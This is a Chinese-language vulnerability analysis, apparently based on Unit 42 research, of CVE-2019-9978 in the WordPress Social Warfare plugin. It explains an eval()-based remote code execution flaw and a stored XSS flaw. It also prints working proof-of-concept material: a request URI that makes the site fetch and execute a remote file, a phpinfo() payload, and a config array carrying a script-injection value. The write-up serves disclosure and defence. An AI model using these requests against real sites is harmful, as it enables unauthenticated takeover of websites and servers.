WordPress Social Warfare插件XSS和RCE漏洞

  • 发表于
  • Vulndb

3月21日,研究人员披露了Social Warfare中存在的两个漏洞,这是WordPress中一个非常受欢迎的插件,可以将社交网络分享按钮添加到网站或博客中。其中,一个是存储型跨站脚本攻击(XSS)漏洞,另一个是远程代码执行(RCE)漏洞,这两个漏洞共同获得CVE-2019-9978编号。在3.5.3版本之前所有版本的Social Warfare中都存在这两个漏洞。3月21日,发布了针对该漏洞的修复程序,但预计有42000个网站暂未更新至3.5.3版本,而存在漏洞。攻击者可以借助这些运动,运行任意PHP代码,在无需身份验证的情况下即可实现对网站和服务器的控制。攻击者可能会利用受感染的网站执行加密货币挖掘,或在被感染的网站上托管恶意攻击代码。Unit 42的研究人员发现了五个主动用于托管恶意攻击代码的受感染网站,使得攻击者可以控制更多网站。

Social Warfare漏洞分析

远程代码执行(RCE)漏洞

该漏洞的根本原因位于social-warfare\lib\utilities\SWP_ Databa se_Migration.php中。

WordPress Social Warfare处理$_GET[‘swp_url’]:

WordPress Social Warfare插件XSS和RCE漏洞

上图展示了,$array由$option构造,而$option又来自位于$_GET[‘swp_url’]中的远程文件。我们可以在上图的第250行中看到,$array将由eval()函数执行,而不会进行任何安全检查,这将直接导致任意代码执行。

我们使用以下内容,操作内部环境服务器中的文件,该文件在<pre>标记内存储phpinfo函数。Phpinfo()是一个PHP函数,它展示了PHP的当前状态和环境配置。该函数通常被用作演示PHP执行的远程Payload。

<pre>
Phpinfo();
</pre>

然后,我们在易受攻击的站点上访问了以下URI,发现执行了phpinfo()函数:

http://<vulnerable-host>/wp-admin/admin-post.php?swp_debug=load_options&swp_url=http://***.***.***/phpinfo.txt

在发送PoC请求时运行phpinfo():

WordPress Social Warfare插件XSS和RCE漏洞

存储型跨站脚本攻击(XSS)漏洞

该漏洞同样存在于social-warfare\lib\utilities\SWP_ Databa se_Migration.php代码之中。

要更新的代码选项:

WordPress Social Warfare插件XSS和RCE漏洞

这两个漏洞的根本原因是相同的,都是在WordPress中滥用了is_admin()函数。is_admin仅检查所请求的页面是否属于管理页面的一部分,并且不会阻止任何未经授权的访问。

我们使用以下内容,操纵内部环境服务器中的配置文件:

<pre>
array (
‘analytics_campaign’ => ‘SocialWarfare’,
‘analytics_medium’ => ‘social’,
‘bitly_authentication’ => false,
‘button_alignment’ => ‘fullWidth’,
‘button_shape’ => ‘flatFresh’,
‘button_size’ => 1,
‘cache_method’ => ‘advanced’,
‘ctt_css’ => ”,
‘ctt_theme’ => ‘style1’,
‘custom_color’ => ‘#000000’,
‘custom_color_outlines’ => ‘#000000’,
‘decimal_separator’ => ‘period’,
‘decimals’ => 0,
‘default_colors’ => ‘full_color’,
‘float_alignment’ => ‘center’,
‘float_background_color’ => ‘#ffffff’,
‘float_button_count’ => 5,
‘float_button_shape’ => ‘default’,
‘float_custom_color’ => ‘#000000’,
‘float_custom_color_outlines’ => ‘#000000’,
‘float_default_colors’ => ‘full_color’,
‘float_hover_colors’ => ‘fullColor’,
‘float_location’ => ‘bottom’,
‘float_location_page’ => ‘off’,
‘float_location_post’ => ‘on’,
‘float_mobile’ => ‘bottom’,
‘float_screen_width’ => 1100,
‘float_single_colors’ => ‘full_color’,
‘float_size’ => 1,
‘float_style_source’ => true,
‘float_vertical’ => ‘center’,
‘floating_panel’ => true,
‘force_new_shares’ => false,
‘frame_buster’ => false,
‘full_content’ => false,
‘google_analytics’ => false,
‘hover_colors’ => ‘full_color’,
‘last_migrated’ => ‘3.0.5’,
‘location_archive_categories’ => ‘below’,
‘location_home’ => ‘none’,
‘location_page’ => ‘below’,
‘location_post’ => ‘below’,
‘minimum_shares’ => 0,
‘network_shares’ => true,
‘og_page’ => ‘article’,
‘og_post’ => ‘article’,
‘order_of_icons’ =>
array (
‘twitter’ => ‘twitter’,
‘linkedIn’ => ‘linkedin’,
‘pinterest’ => ‘pinterest’,
‘facebook’ => ‘facebook’,
‘google_plus’ => ‘google_plus’,
),
‘order_of_icons_method’ => ‘manual’,
‘pin_browser_extension’ => false,
‘pin_browser_extension_location’ => ‘hidden’,
‘pinit_image_description’ => ‘alt_text’,
‘pinit_image_source’ => ‘image’,
‘pinit_location_horizontal’ => ‘center’,
‘pinit_location_vertical’ => ‘top’,
‘pinit_min_height’ => ‘200’,
‘pinit_min_width’ => ‘200’,
‘pinit_toggle’ => false,
‘pinterest_fallback’ => ‘all’,
‘pinterest_image_location’ => ‘hidden’,
‘recover_shares’ => false,
‘recovery_format’ => ‘unchanged’,
‘recovery_prefix’ => ‘unchanged’,
‘recovery_protocol’ => ‘unchanged’,
‘single_colors’ => ‘full_color’,
‘swp_click_tracking’ => false,
‘swp_twitter_card’ => true,
‘total_shares’ => true,
‘totals_alignment’ => ‘total_sharesalt’,
‘transition’ => ‘slide’,
‘twitter_id’ => ‘”><script>alert(/kow/)</script>’,
‘twitter_shares’ => false,
‘utm_on_pins’ => false,
)
</pre>

随后,我们返回到易受攻击的WordPress主机,该主机位于http://<vulnerable-host>/wp-admin/admin-post.php?swp_debug=load_options&swp_url=http://***.***.***/1.txt。

当我们访问WordPress仪表盘中的Social Warfare页面时,我们会看到如下图所示的警报。

管理员访问仪表盘时显示的警报:

WordPress Social Warfare插件XSS和RCE漏洞

受影响的网站

目前,我们已经发现大约有40000个已安装该插件的网站,其中大多数都运行了易受攻击版本的插件,其中包括教育网站、财务网站和新闻网站。其中的许多网站都拥有较高的流量,我们可以在下图左侧看到Alexa的全球流量排名。